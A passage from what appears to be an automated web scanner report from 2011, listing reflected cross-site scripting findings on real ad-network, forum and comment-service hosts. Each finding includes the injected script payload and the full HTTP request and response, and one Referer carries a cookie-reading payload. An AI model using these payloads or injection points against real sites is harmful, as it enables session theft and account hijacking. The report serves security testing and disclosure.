The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6122"><script>alert(1)</script>5136673dd89 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/2010DM/11343771873@x23e6122"><script>alert(1)</script>5136673dd89?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; session=1297259893|1297261770; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:49:55 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 325
Content-Type: text/html
Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2145525d5f4f58455e445a4a423660;path=/

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/2010DM/499328110/x23e6122"><script>alert(1)</script>5136673dd89/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><I
...[SNIP]...

1.96. http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/1937870846@x92

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59059"><script>alert(1)</script>225e1a98943 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM59059"><script>alert(1)</script>225e1a98943/DLX/1937870846@x92? HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; session=1297259893|1297259893; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:09 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 330
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM59059"><script>alert(1)</script>225e1a98943/DLX/281813167/x92/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG
...[SNIP]...

1.97. http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/1937870846@x92

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b439"><script>alert(1)</script>010ab70397b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX8b439"><script>alert(1)</script>010ab70397b/1937870846@x92? HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; session=1297259893|1297259893; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:11 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 330
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX8b439"><script>alert(1)</script>010ab70397b/356583141/x92/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG
...[SNIP]...

1.98. http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/1937870846@x92

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41a70"><script>alert(1)</script>67d67439bda was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX/1937870846@x9241a70"><script>alert(1)</script>67d67439bda? HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; session=1297259893|1297259893; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:13 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 323
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX/2098862732/x9241a70"><script>alert(1)</script>67d67439bda/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG
...[SNIP]...

1.99. http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/1937870846@x92

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddf1c"-alert(1)-"05464a05234 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /2/B3DM/DLX/1937870846@x92??ddf1c"-alert(1)-"05464a05234=1 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; session=1297259893|1297259893; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:08 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 2407
Content-Type: text/html

<html>
<head></head>
<body>
<script>
function cookie_check(ifd,ife){ var s=ife.indexOf(ifd); if(s==-1)return ""; s+=ifd.length; var e=ife.indexOf(";",s); if(e==-1)e=ife.length; return ife.substring(s,e);
}
var camp="?ddf1c"-alert(1)-"05464a05234=1";

camp=camp.toUpperCase();

if((camp.indexOf("AOL") == -1 )&&(camp.indexOf("GGL")) == -1){
if((cookie_check("dlx_20100929=",document.cookie)).length == 0) {

// Set cookie with marker to
...[SNIP]...

1.100. http://dm.de.mookie1.com/2/B3DM/DLX/@x94 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/@x94

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13310"><script>alert(1)</script>2c6810a43ca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM13310"><script>alert(1)</script>2c6810a43ca/DLX/@x94 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660; dlx_20100929=set; other_20110126=set; session=1297259893|1297259896

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:41 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 330
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM13310"><script>alert(1)</script>2c6810a43ca/DLX/212367073/x94/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG
...[SNIP]...

1.101. http://dm.de.mookie1.com/2/B3DM/DLX/@x94 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/@x94

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 121be"><script>alert(1)</script>f7b3acbc85f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX121be"><script>alert(1)</script>f7b3acbc85f/@x94 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660; dlx_20100929=set; other_20110126=set; session=1297259893|1297259896

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:43 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 330
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX121be"><script>alert(1)</script>f7b3acbc85f/544194934/x94/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG
...[SNIP]...

1.102. http://dm.de.mookie1.com/2/B3DM/DLX/@x94 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/DLX/@x94

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40efc"><script>alert(1)</script>c621429c4d4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX/@x9440efc"><script>alert(1)</script>c621429c4d4 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660; dlx_20100929=set; other_20110126=set; session=1297259893|1297259896

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:45 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 322
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/DLX/611467003/x9440efc"><script>alert(1)</script>c621429c4d4/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IMG
...[SNIP]...

1.103. http://ds.addthis.com/red/psi/sites/xhtml.co.il/p.json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.addthis.com
Path:	/red/psi/sites/xhtml.co.il/p.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload eb035<script>alert(1)</script>a932842a89f was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /red/psi/sites/xhtml.co.il/p.json?callback=_ate.ad.hpreb035<script>alert(1)</script>a932842a89f&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fxhtml.co.il%2F%2Fhe%2Fpage-700%2FjQuery%3F72f1f&ref=http%3A%2F%2Fburp%2Fshow%2F12&1voxbg HTTP/1.1
Host: ds.addthis.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh31.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1297134189.60|1296659685.66; psc=4; uid=4d1ec56b7612a62c

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 302
Content-Type: text/javascript
Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 09 Feb 2011 13:29:30 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 11 Mar 2011 13:29:30 GMT; Path=/
Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1297258170.60|1296659685.66; Domain=.addthis.com; Expires=Fri, 08-Feb-2013 13:29:29 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Wed, 09 Feb 2011 13:29:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 09 Feb 2011 13:29:30 GMT
Connection: close

_ate.ad.hpreb035<script>alert(1)</script>a932842a89f({"urls":["http://cspix.media6degrees.com/orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d1ec56b7612a62c&curl=http%3a%2f%2fxhtml.co.il%2f%2fhe%2fpage-700%2fjQuery%3f72f1f"],"segments" : ["60"],"l
...[SNIP]...

1.104. http://forum.jquery.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://forum.jquery.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ff4e"><script>alert(1)</script>d3e1e6933e0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?8ff4e"><script>alert(1)</script>d3e1e6933e0=1 HTTP/1.1
Host: forum.jquery.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=44433727.1297257169.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=44433727.1932706098.1297257169.1297257169.1297257169.1; __utmc=44433727; __utmb=44433727.2.10.1297257169

Response

HTTP/1.1 200 OK
Set-Cookie: zdccn=df1e2a1c-0f2e-41ee-b0a9-ad8bca46be51; Path=/
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=307D16EB1FA0C002C45B016345B7BD30; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Wed, 09 Feb 2011 13:15:45 GMT
Server: Apache-Coyote/1.1
Content-Length: 292833

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="S
...[SNIP]...
<a href="/portalLogin.do?serviceurl=/?8ff4e"><script>alert(1)</script>d3e1e6933e0=1&forumGroupUrl=jquery">
...[SNIP]...

1.105. http://ib.adnxs.com/if [custom_macro parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/if

Issue detail

The value of the custom_macro request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e23d"><script>alert(1)</script>5ac3272bd5f was submitted in the custom_macro parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /if?enc=AQAAAAAA4j-amZmZmZnePwAAAADXo_o_mpmZmZmZ3j8AAAAAAADiP9xIJgq8hAUXBWHfHSmrEEI7n1JNAAAAABuRAwA2AQAANwEAAAIAAABJ9wIA5GoAAAEAAABVU0QAVVNEAKAAWAKoAecEDAcAAgUCAAIAAAAARR2NVAAAAAA.&udj=uf%28%27a%27%2C+11322%2C+1297260347%29%3Buf%28%27c%27%2C+49259%2C+1297260347%29%3Buf%28%27r%27%2C+194377%2C+1297260347%29%3B&cnd=!hhQ2PQjrgAMQye4LGAAg5NUBKOcJMQAAAAAAAOI_QhMIABAAGAAgASj-__________8BSABQAFioA2AAaLcC&referrer=http://technorati.com/contact-us/&custom_macro=SEG_CODES_COL%5Ebtg=an.5%3Bbtg=an.51%3Bbtg=cm.de16_1%3Bbtg=cm.de18_1%3Bbtg=cm.ent_h%3Bbtg=cm.polit_h%3Bbtg=cm.shop_h%3Bbtg=cm.sports_h%3Bbtg=cm.sportsfan%3Bbtg=cm.sportsreg7e23d"><script>alert(1)</script>5ac3272bd5f HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://technorati.com/contact-us/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: anj=Kfw)lmg324*cOV!/@E<Y:@`[idbmI:>w7e%:1E(@lNynpU8#zDeyWpB[QSo:*B_u8(JC>Q@1D2HfGr['`aEUt^DT'q0$S0(<nSEa'Uo/A76wL`s+szES:yl.J.]1eGLl?R9]CHArf1NCsp%=0s3Z_skui(:1Tb-QH!gzLte2*1%!V2#DdJcRwf4=RqtF=@1YS(].jBY%8>TzLXkrbDI0js.mBtkIO!*E@GnXW-wALCL43WoSaR#3xR?9dttLGTclDX`U*C^Q@Zu'+7=eOKD2DpIMJ_bfMqyLb-h44%YJq(_>G@^2^N5ag?dJ=ecL$RU($DV7fC<!T_*Ah4!NTEjqWL)o9vemKzwmb@8otxrpFof[`rt[Ie>I=J>5Oawt(eEg^^W3q_QyseEUQJT.JJqRyB`]dZ#'ii3gT%6Bp3<=@t2f7Q$p@dHe@!Vqq6U0Iu%98]IP<D7.$F:Rx#_SdW.a]RVl?Q2O(1<GGu(lU.Vj7'MO.Ns?z*tz3@.b/'X@.S@u(pc%.JEvl:+*D)9F(fo^>)4(rBmALG+^^no]+Sly^.C-P!+*wPR'hO5k#[sCHO#E%tZv^PeYc0vST.; sess=1; uuid2=4760492999213801733; icu=ChII3pUBEAoYByAHKAcwu77K6gQQu77K6gQYBg..

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Thu, 10-Feb-2011 14:09:37 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Tue, 10-May-2011 14:09:37 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/html; charset=utf-8
Set-Cookie: uuid2=4760492999213801733; path=/; expires=Tue, 10-May-2011 14:09:37 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)lmg324*cOV!/@E<Y:@`[idbmI:>w7e%:1E(@lNynpU8#zDeyWpB[QSo:*B_u8(JC>Q@1D2HfGr['`aEUt^DT'q0$S0(<nSEa'Uo/A76wL`s+szES:yl.J.]1eGLl?R9]CHArf1NCsp%=0s3Z_skui(:1Tb-QH!gzLte2*1%!V2#DdJcRwf4=RqtF=@1YS(].jBY%8>TzLXkrbDI0js.mBtkIO!*E@GnXW-wALCL43WoSaR#3xR?9dttLGTclDX`U*C^Q@Zu'+7=eOKD2DpIMJ_bfMqyLb-h44%YJq(_>G@^2^N5ag?dJ=ecL$RU($DV7fC<!T_*Ah4!NTEjqWL)o9vemKzwmb@8otxrpFof[`rt[Ie>I=J>5Oawt(eEg^^W3q_QyseEUQJT.JJqRyB`]dZ#'ii3gT%6Bp3<=@t2f7Q$p@dHe@!Vqq6U0Iu%98]IP<D7.$F:Rx#_SdW.a]RVl?Q2O(1<GGu(lU.Vj7'MO.Ns?z*tz3@.b/'X@.S@u(pc%.JEvl:+*D)9F(fo^>)4(rBmALG+^^no]+Sly^.C-P!+*wPR'hO5k#[sCHO#E%tZv^PeYc0vST.; path=/; expires=Tue, 10-May-2011 14:09:37 GMT; domain=.adnxs.com; HttpOnly
Date: Wed, 09 Feb 2011 14:09:37 GMT
Content-Length: 1569

<script language="JavaScript" src="http://ad.doubleclick.net/adj/cm.appnexus/nikon_ron_cpm;sz=160x600;app=nikon_ron_cpm;click0=http://ib.adnxs.com/click/AQAAAAAA4j-amZmZmZnePwAAAADXo_o_mpmZmZmZ3j8AAAA
...[SNIP]...
hnorati.com%2Fcontact-us%2F/clickenc=;ord=1297260347?;btg=app0;btg=an.5;btg=an.51;btg=cm.de16_1;btg=cm.de18_1;btg=cm.ent_h;btg=cm.polit_h;btg=cm.shop_h;btg=cm.sports_h;btg=cm.sportsfan;btg=cm.sportsreg7e23d"><script>alert(1)</script>5ac3272bd5f" type="text/javascript">
...[SNIP]...

1.106. http://intensedebate.com/empty.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/empty.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 88920'><script>alert(1)</script>e89cf172d1c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /empty.php88920'><script>alert(1)</script>e89cf172d1c HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
